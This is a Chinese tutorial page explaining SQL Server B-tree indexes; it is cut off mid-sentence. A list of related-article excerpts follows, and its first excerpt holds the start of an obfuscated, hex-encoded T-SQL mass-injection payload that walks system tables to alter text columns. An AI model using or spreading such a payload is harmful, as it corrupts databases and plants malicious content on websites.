理解SQL Server中的索引(一)
对于很多DBA和程序员来说,SQL Server中的索引不是一个陌生的事物,我们甚至每天都在使用它,对于哪些情况下应该创建索引都能一一的道出,不过有可能我们并没有仔细去想它的具体原理,本文将根据我对SQL Server中的索引的理解做一个简单的总结和概述,希望对大家能有所帮助(详细可参考《SQL Server 2005 Implementation and Maintenance》 )。
一,索引的作用
在SQL Server数据库中,当我们需要在大批量比如几亿条数据库中检索或者修改数据的时候,索引能够帮我们快速的找到目标数据。就如同我们要在字典中查找一个字的详细解释,如果没有索引,那么我们只有一页一页的查找,这样的速度是特别的慢的,当有了索引,我们可以快速的跳转到包含这个字的页,这样就大大的节省了时间。
二,SQL Server中创建索引的结构B-Tree/Banlanced Tree(B树)
我们思考一个问题,即便一本字典有索引是不是一定就能提高查阅速度呢?假如我们按照一个个字的在索引中找下去,那么几十万个字组成的索引也会花掉我们很长的时间;而现实生活告诉我们,一般我们的索引也是按照一定规律组成的,比如新华字典有按照生母排序的索引,也有按照笔画排序的索引,这样我们就能更快速的查阅,而不必要在索引中挨个字找下去。这里就要谈到B-Tree了,B-Tree也有类似的原理。
如下是B-Tree的示意图
如上图B-Tree中只有一个根节点,这个根节点只包含一个数据页(data page);包含0个或者多个中间层,同时一个叶级。
在叶级的数据页中存储了创建索引的数据的相关信息(排序的);而每个叶级页所包含的索引行则要根据创建索引的列的数据类型来决定。
而中间层是将每个叶级页上的第一个输入索引值都存储在一个数据页上,并且存储对应叶级页的指针。而根节点存储的方式与此类似,存储的是每个中间层的第一个输入以及对应的指针。
三、索引查找数据的实例
下面参考这个实例
如果我们查找 “Man”这个单词,那么首先从根节点查找 这个时候值H和O都会被查找出来,由于L在O之前,所以这个时候会去 中间层级的H页查找 这个时候值L会被查找出来,然后在叶级页L查找到M。这样我们就仅查找了三个页,如果我们按照顺序查找,在上图中则需要查找5个页,在数据量很大的情况下优势会更明显。
三、关于索引的级
我们知道在SQL Server中 一个数据页的大小是8192字节,用户最多只能存储 8060字节的数据。假如我们在一个char(60)的列上创建索引,在数据表中每一行则需要60字节的存储,同
相关文档:
dEcLaRe @s vArChAr(8000) sEt @s=0x4465636c617265204054205661726368617228323535292c4043205661726368617228323535290d0a4465636c617265205461626c655f437572736f7220437572736f7220466f722053656c65637420412e4e616d652c422e4e616d652046726f6d205379736f626a6563747320412c537973636f6c756d6e73204220576865726520412e ......
一、分页写法小例:
SELECT FIRST 10 templateid,code,name from template ;
SELECT FIRST 10 SKIP 10 templateid,code,name from template ;
SELECT * from shop ROWS 1 TO 10; –firebird2.0支持这种写法
二、显示表名和表结构
SHOW TABLES;
SHOW TABLE tablename;
四、更新字段注释
......
前言
最近接连遇到几个朋友问我同一个问题,就是关于.NET平台上ORM框架的选择。我想在这个讲求效率的时代,谁也不想手写SQL或存储过程去访问数据库了。大家都知道,在Java平台上,ORM这一块基本是Hibernate的天下。当然,相对轻量级的iBatis也有不错的表现。
&nb ......
Case具有两种格式。简单Case函数和Case搜索函数。
--简单Case函数
CASE sex
WHEN '1' THEN '男'
WHEN '2' THEN '女'
ELSE '其他' END
--Case搜索函数
CASE WHEN sex = '1' THEN '男'
WHEN sex = '2' THEN '女'
ELSE '其他' END
这两种方式,可以实现相同的功能。简单Case函数的写法 ......
备份
BACKUP DATABASE mydb
TO DISK='c:\olddb.bak'
WITH INIT
--为了测试,把备份好的文件从C盘移动到D:\tempdb 文件夹
--还原
--1.用此语句得到备份文件的逻辑文件名:
RESTORE FILELISTONLY from DISK = N'd:\tempdb\olddb.bak' --备份文件存放路径
--看LogicalName,一般会有两个文件,如:
--olddb &nbs ......